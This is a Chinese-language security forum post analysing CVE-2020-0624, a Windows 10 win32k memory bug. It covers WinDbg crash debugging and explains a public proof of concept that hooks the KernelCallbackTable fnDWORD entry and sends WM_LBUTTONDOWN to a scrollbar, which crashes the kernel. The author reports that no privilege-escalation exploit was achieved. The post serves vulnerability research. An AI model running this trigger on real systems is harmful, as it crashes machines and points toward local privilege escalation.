-
-
[原创]cve-2020-0624 win32k漏洞分析笔记
-
2020-7-10 18:34
-
前言
当Win32k组件无法正确处理内存中的对象时，Windows即存在一个特权提升漏洞，我对他做了简单的分析.因为感觉作者的poc有一点小问题,所以文末会给出我的魔改版poc.
原作者poc: https://github.com/james0x40/CVE-2020-0624
漏洞影响范围
Microsoft Windows 10 1903
Microsoft Windows Server 1903
Microsoft Windows 10 1909
配置漏洞触发环境
[+] win10 x64 1903 [+] windbg preview 1.0.2001.02001
BSOD分析
tip:因为KALSR的关系,我们分析起来会很麻烦,不过我们可以在调试之前先保存一个快照,这样我们调试的时候就可以先不考虑KALSR.
崩溃之后我们使用!analyze v来分析一下.首先查看一下错误类型
1: kd> !analyze v ERROR: FindPlugIns 8007007b ******************************************************************************* * * * Bugcheck Analysis * * * ******************************************************************************* BAD_POOL_CALLER (c2) The current thread is making a bad pool request. Typically this is at a bad IRQL level or double freeing the same allocation, etc. Arguments: Arg1: 0000000000000046, Attempt to free an invalid pool address Arg2: ffffc29800880000, Starting address Arg3: 0000000000000000, 0 Arg4: 0000000000000000, 0
错误是BAD_POOL_CALLER (c2),出现异常的地址为ffffc29800880000,错误提示是我们释放了错误的内存.没什么头绪,看看堆栈的内容
看起来很像是子函数NewCCI2进行了错误的操作,但其实要稍微复杂一些,后面分析poc源码的时候再说.这里我们只关注win32kfull!Win32FreePoolImpl就好,正是这个函数导致了异常的发生,本来我是想直接给这个函数打断点,但是这个函数会被频繁调用,很不方便.查阅资料发现该函数释放的内存后七位固定为0880000,所以我们可以通过cx寄存器来判断释放的内存是否为一场内存.条件断点如下:
ba e1 win32kfull!Win32FreePoolImpl+0x46 "r rcx;.if(cx == 0){.echo 1}.else{.echo 2;g}"
又或者你干脆已经知道了错误内存的地址为ffffc29800880000,那么直接设置rcx=ffffc29800880000也是ok的.
经历了漫长的条件判断之后我们终于断下来了,现在rcx的值为ffffc29800880000,正是我们的错误内存.检测一下属性
解析不出来,直接查看数据
连Header都没有,这根本就不是Kernel Pool,我们需要继续追踪这块奇怪的内存,从堆栈看一下调用关系
上层函数是Win32FreePool,静态分析一下
Win32FreePool函数仅仅是将参数传递给Win32FreePoolImpl函数而已,再看看上层函数xxxDestroyThreadInfo
不同于以前的win7,在win10上无法查看tagTHREADINFO结构.所以无法得知tagTHREADINFO+0x2c8代表什么,以及是什么函数设置了它的内容,我们尝试继续下断点.
ba e1 win32kbase!xxxDestroyThreadInfo+0x94 "r rsi;.if(poi(rsi+0x2C8) != 0){.echo 1}.else{g}"
当rsi+0x2C8不为零的时候断下来,查看rsi+0x2c8是否为触发异常的内存.
还是那个熟悉的数字,看来这个地址就是关键,某个函数设置了它的值,并且最终交给xxxDestroyThreadInfo函数来释放他所指向的内存,我们只要一步一步追溯就可以追溯到事发源头.但其实有更方便的法子,我们可以修改一下poc的源码,在一切都发生之前加入一个DebugBreak()断下来,接着对tagTHREADINFO+0x2c8下一个内存访问断点,这样windbg就会自动帮我们找到凶手了.
但是tagTHREADINFO的值每次都会发生变化,所以我们需要再保存一个快照,就在DebugBreak()函数断下来的时候.接着重新找出tagTHREADINFO的值,和刚刚一样:
现在我们恢复到刚刚保存的快照.重新断在DebugBreak()之后,接着我们对ffffc298061d48a0+2c8下一个内存访问断点并运行
断下来之后我们就可以看到修改ffffc298061d48a0+2c8的地方,看一下堆栈里面的调用关系
就是win32kfull!xxxSBTrackInit这个邪恶的函数将错误的地址写入了ffffc298061d48a0+2c8.我们在ida里面查看一下
上面这个名字长的一批的函数返回了一个指向tagSBTrack结构的指针,之后这个指针将会被写入tagTHREADINFO+0x2c8处,即tagTHREADINFO->pSBTrack.这块内存是由nt!MmCommitSessionMappedView函数分配的,而ExFreePool函数只能释放由ExAllocatePool，ExAllocatePoolWithTag，ExAllocatePoolWithQuota或ExAllocatePoolWithQuotaTag分配的内存,自然会触发异常从而导致BSOD.
poc源码分析
因为作者给出了源代码,所以我们接着看一下poc的源代码,我分成几个小部分来一一分析.
/* 获取指向TEB和PEB的指针 */
DWORD OldProtect{};
/* 获取指向TEB和PEB的指针 */
PTEB teb = NtCurrentTeb();
PPEB peb = teb->ProcessEnvironmentBlock;
OldProtect只是用来保存内存被修改前的访问保护值,teb和peb则分别保存线程环境块和进程环境块.
PVOID pCCI2 = &((PVOID*)peb->KernelCallbackTable)[2];
进程环境块中的KernelCallbackTable保存着函数指针表的副本,KeUserModeCallback通过参数ApiNumber作为索引来选择函数指针表中相应的函数.但是为什么是[2],我们可以在这两句代码之前下一个断点
0: kd> dt nt!_PEB @$peb +0x058 ...... +0x058 KernelCallbackTable : 0x00007ff5`6ad80028 Void ......
0: kd> dps poi($peb+58) 00007ffa`2bdb6330 00007ffa`2bd35150 USER32!_fnCOPYDATA 00007ffa`2bdb6338 00007ffa`2bdae720 USER32!_fnCOPYGLOBALDATA 00007ffa`2bdb6340 00007ffa`2bd52cd0 USER32!_fnDWORD 00007ffa`2bdb6348 00007ffa`2bd56780 USER32!_fnNCDESTROY 00007ffa`2bdb6350 00007ffa`2bd5cd50 USER32!_fnDWORDOPTINLPMSG ......
peb+58的地址就是KernelCallbackTable的地址,这里的[2]是USER32!_fnDWORD.如果我们向滚动条子控件发送WM_LBUTTONDOWN,消息时,会调用到win32kfull!xxxSBTrackInit()函数,该函数首先会创建一个Session Pool,用来保存 tagSBTrack结构.所以后面我们会特意营造这种情景来调用这个回调函数.
/*
BOOL VirtualProtect( // 此函数更改对调用进程的虚拟地址空间中的已提交页面区域的保护
LPVOID lpAddress, // 要更改其访问保护属性的页面区域的起始页面
SIZE_T dwSize, // 要更改其访问保护属性的区域的大小
DWORD flNewProtect, // 内存保护选项,PAGE_EXECUTE_READWRITE为可读可写可执行权限
PDWORD lpflOldProtect // 指向变量的指针，该变量接收页面的指定区域中第一页的先前访问保护值
);
PVOID InterlockedExchangePointer( // 此函数原子交换一对地址
PVOID volatile *Target, // 目标地址
PVOID Value // 与目标函数交换的地址
);
*/
if (!VirtualProtect(pCCI2, sizeof(PVOID), PAGE_EXECUTE_READWRITE, &OldProtect))
return 0;
OrgCCI2 = (PFNUSER32CALLBACK)InterlockedExchangePointer((PVOID*)pCCI2, &NewCCI2);
我们在上一步已经得到了指向(peb->KernelCallbackTable)[2]和(peb->KernelCallbackTable)[3]地址的指针,接着我们只要直接赋值就可以hook这两个函数了
OrgCCI2保存原先的函数指针以使用正常的功能,这样我们的hook函数既可以执行我们自定义的操作,还不影响原本的功能.
hChild = CreateWindow(
L"ScrollBar",
L"Vul",
WS_OVERLAPPEDWINDOW | WS_VISIBLE,
CW_USEDEFAULT,
CW_USEDEFAULT,
10,
10,
NULL,
NULL,
NULL,
NULL
);
scrollbar的窗口是可见的, 设置WM_VISIBLE,这样才能成功触发.至此,回调函数也hook完了,窗口也已经创建了,我们可以开始考虑调用我们hook的函数了,具体实现如下
NTSTATUS NTAPI NewCCI2(PVOID Param)
{
if (Flag)
{
ExitThread(0);
}
return OrgCCI2(Param);
}
因为被我们hook的两个函数有可能会被其他部分调用,所以我们设置了Flag1和Flag2来跳过我们hook的内容,而去执行OrgCCI2和OrgCCI3,这两个指针保存的正是hook之前的函数指针,这样,其他部分调用hook之后的函数也不会发生异常.
Flag = TRUE;
SendMessage(hVul, WM_LBUTTONDOWN, 0, 0);
在NewCCI2中,因为Flag已经被置1,所以我们会调用if语句之内的内容,也就是ExitThread(0).接着win32kfull!Win32FreePoolImpl就会调用nt!ExFreePool来释放tagSBTrack,导致BSOD.
大概流程是这样:
[+] HOOK KernelCallbackTable->fnDWORD [+] 创建一个可视的滚动条窗口SrollBar并发送WM_LBUTTONDOWN消息 [+] 系统处理消息初始化SBTrack结构并开始循环,接着触发fnDWORD回调 [+] 由于KernelCallbackTable->fnDWORD已经被我们修改,所以程序转去执行NewCCI2函数 [+] win32kfull!xxxSBTrackInit()函数已经将tagSBTrack结构写入了tagTHREADINFO+2c8处,退出线程时会触发BSOD
参考文章
晏子霜师傅本人和博客都有很大帮助,我偷了很多思路和技巧:http://www.whsgwl.net/
wjllz师傅,同样是偷思路和技巧:https://xz.aliyun.com/u/12604
其他:
https://www.anquanke.com/post/id/97498
https://pediy.com/kssd/pediy11/104918.html
一些疑问
遗憾的是,我没能完成利用.因为我对于类型隔离中分配的这块内存实在是没有办法了,问了一位师傅得到的答复是这是一个利用的可能性微乎其微的漏洞,但微软官方给出的确实是权限提升的通告,所以论坛的师傅们如果有思路的话请分享一下,不胜感激!!!
博客有我的联系方式,欢迎大家来玩,地址:https://www.0x2l.cn
阿里云助力开发者！2核2G 3M带宽不限流量！6.18限时价，开 发者可享99元/年，续费同价！
blck四
